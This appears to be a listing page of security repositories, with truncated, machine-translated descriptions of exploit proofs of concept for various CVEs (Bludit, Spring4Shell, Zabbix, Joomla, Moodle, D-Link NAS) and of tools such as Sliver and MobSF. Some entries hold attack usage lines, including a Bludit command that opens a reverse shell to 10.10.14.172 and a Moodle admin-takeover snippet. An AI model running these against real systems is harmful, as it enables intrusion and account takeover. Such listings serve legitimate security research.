CVE-2017-11882-

CVE-2017-11882 43b lo script originale proviene da https://github.com/embedi/CVE-2017-11882 109b lo script originale proviene da https://github.com/unamer/CVE-2017-11882/ un saluto, ora il codice di unamer può eseguire shellcode CVE-2017-11882:...

CVE-2022-30136

CVE-2022-30136 PoC di exploit remoto per Windows Network File System autore: Ricardo Narvaja Solo a scopo dimostrativo. L'exploit completo funziona su sistemi Windows Server vulnerabili. Consulta l'analisi Analysis of CVE-2022-30136 “Windows Network File System Vulnerability“. Utilizzo Analisi di...

CVE-2022-23131poc-exp-zabbix-

CVE-2022-23131poc-exp-zabbix- Script di rilevamento e sfruttamento di massa per la vulnerabilità CVE-2022-23131 Ambiente di esecuzione: python3 zabbix-poc.py Comando di esecuzione: python3 zabbix-poc.py Per rilevare un singolo target, inserisci 1; per il rilevamento batch, inserisci altri valori:...

pyshark-legacy

pyshark Questo repository è per la versione legacy di pyshark, che funziona su Python 2.7+. Riceve solo correzioni di bug dopo la versione 0.3.8. Per la nuova versione supportata solo su Python 3.5+, usa ilrepository principale Wrapper Python per tshark, che consente l'analisi dei pacchetti Pytho...

spring4shell-CVE-2022-22965

Einfacher Spring4Shell-POC Prüfen, ob der Endpunkt verwundbar ist python spring4shell.py -u http://192.168.110.117:8080/helloworld/greeting --check Verwundbaren Endpunkt ausnutzen python spring4shell.py -u http://192.168.110.117:8080/helloworld/greeting -f shell.jsp --exploit Befehl auf der...

CVE-2019-16113

CVE-2019-16113 CVE-2019-16113 - bludit = 3.9.2 RCE autenticato Utilizzo python CVE-2019-16113.py -u http://10.10.10.10 -user user -pass secret -c "bash -c 'bash -i & /dev/tcp/10.10.14.172/1337 0&1'" Esempio...

CVE-2023-23752

CVE-2023-23752 Joomla Unautorisierte Zugriffs-Schwachstelle fofa: product="Joomla" Usage root@kitploit: usage: CVE-2023-23752.py -h -u URL -f FILE -t THREAD -T TIMEOUT -o OUTPUT optional arguments: -h, --help show this help message and exit -u URL, --url URL Target urle.g. url.txt -f FILE, --file...

aiengine

AIEngine Motore di Intelligenza Artificiale AIEngine è un motore di ispezione dei pacchetti interattivo/programmabile di nuova generazione per Python/Ruby/Java/Lua con capacità di apprendimento senza alcun intervento umano, funzionalità NIDS Sistema di Rilevamento Intrusioni di Rete,...

Pegasus---Forbidden-Buster

Pegasus - Forbidden Buster Autore: Letda Kes dr. Sobri, S.Kom. Uno strumento di penetration testing per bypassare le risposte HTTP 401/403 utilizzando varie tecniche di manipolazione degli header e fuzzing dei percorsi. Caratteristiche Testa varie manipolazioni degli header X-Forwarded-For,...

CVE-2021-36394

CVE-2021-36394 Aggiorna tabella o cambia password Admin: Codice personalizzato $newpassword = "Accounttakedover123"; Quindi esegui: $ CVE2021-36394.php http://victim/pathtomoodle Esegui funzione Codice personalizzato $function = "header"; $param = "Hacked: by0d0ff9"; Quindi esegui: $...

Mobile-Security-Framework-MobSF

Mobile Security Framework MobSF Mobile Security Framework MobSF è una piattaforma di ricerca sulla sicurezza per applicazioni mobili su Android, iOS e Windows Mobile. MobSF può essere utilizzata per vari casi d'uso come la sicurezza delle applicazioni mobili, test di penetrazione, analisi malware...

metabase-pre-auth-rce-poc

Metabase Pre-Auth RCE CVE-2023-38646 POC Dies ist ein in Python geschriebenes Skript, das die Ausnutzung der in CVE-2023-38646 beschriebenen Sicherheitslücke der Metabase -Software ermöglicht. Das System ist in Versionen vor 0.46.6.1 der Open-Source-Edition und vor 1.46.6.1 der Enterprise-Edition...

CVE-2024-57373

Vulnerabilità CSRF in LifestyleStore v1.0 📌 Panoramica Questo repository documenta una vulnerabilità di Cross-Site Request Forgery CSRF identificata nel progetto LifestyleStore v1.0. Il difetto consente agli attaccanti di eseguire azioni non autorizzate per conto di utenti autenticati, comportand...

text4shellburpscanner

text4shellburpscanner Questo progetto è una modifica di log4j2burpscanner, è stata rimossa la scansione attiva, può essere aggiunta in seguito se necessario. CVE2022-42889 Link al campo di prova target environment: https://github.com/karthikuj/cve-2022-42889-text4shell-docker.git Puoi anche segui...

CVE-2016-5699-poc

CVE-2016-5699-poc PoC-Code der Sicherheitslücke CVE-2016-5699 Die Datei poc.py sendet URLs an receiver.py. receiver.py ist ein Flask-HTTP-Server, der Header empfängt und testet. Video : https://youtu.be/ugUt5iKpcV4 bunseokbot@UpRoot...

sliver

Sliver Sliver è un framework open source multipiattaforma di emulazione avversaria/red team, che può essere utilizzato da organizzazioni di ogni dimensione per eseguire test di sicurezza. Gli implant di Sliver supportano C2 su Mutual TLS mTLS, WireGuard, HTTPS e DNS e sono compilati dinamicamente...

MS16-051-poc

CVE-2016-0189 Exploit Proof-of-Concept per CVE-2016-0189 corruzione della memoria VBScript in IE11 Testato su Windows 10 IE 11. Analisi https://www.deamwork.com/archives/patch-analysis-of-cve-2016-0189.orz6 Per eseguire 1. Scarica support/.dll o compila .cpp da solo e exploit/.html in una...

CVE-2023-7028-Docker

CVE-2023-7028 con Docker 🎯 Vuoi fare pratica con la nuova CVE di Gitlab? Segui le istruzioni Costruisci il laboratorio 1. Installa Docker: https://docs.docker.com/get-docker/ 2. Clona il progetto: git clone https://github.com/Trackflaw/CVE-2023-7028-Docker.git. 3. Vai nella cartella del progetto:...

CVE-2024-3273

CVE-2024-3273 Prova di Concetto PoC Questo repository contiene una Prova di Concetto PoC per CVE-2024-3273, una vulnerabilità di sicurezza scoperta nei dispositivi D-Link NAS. La vulnerabilità consente agli attaccanti di eseguire comandi arbitrari sui dispositivi vulnerabili. Descrizione...

CVE-2024-22939

target:https://github.com/sunkaifei/FlyCms version: v1.0 È stato scoperto che FlyCms v1.0 contiene una Cross-Site Request Forgery CSRF tramite il componente /system/article/categoryedit Poc root@kitploit: history.pushState'', '', '/' Successo:...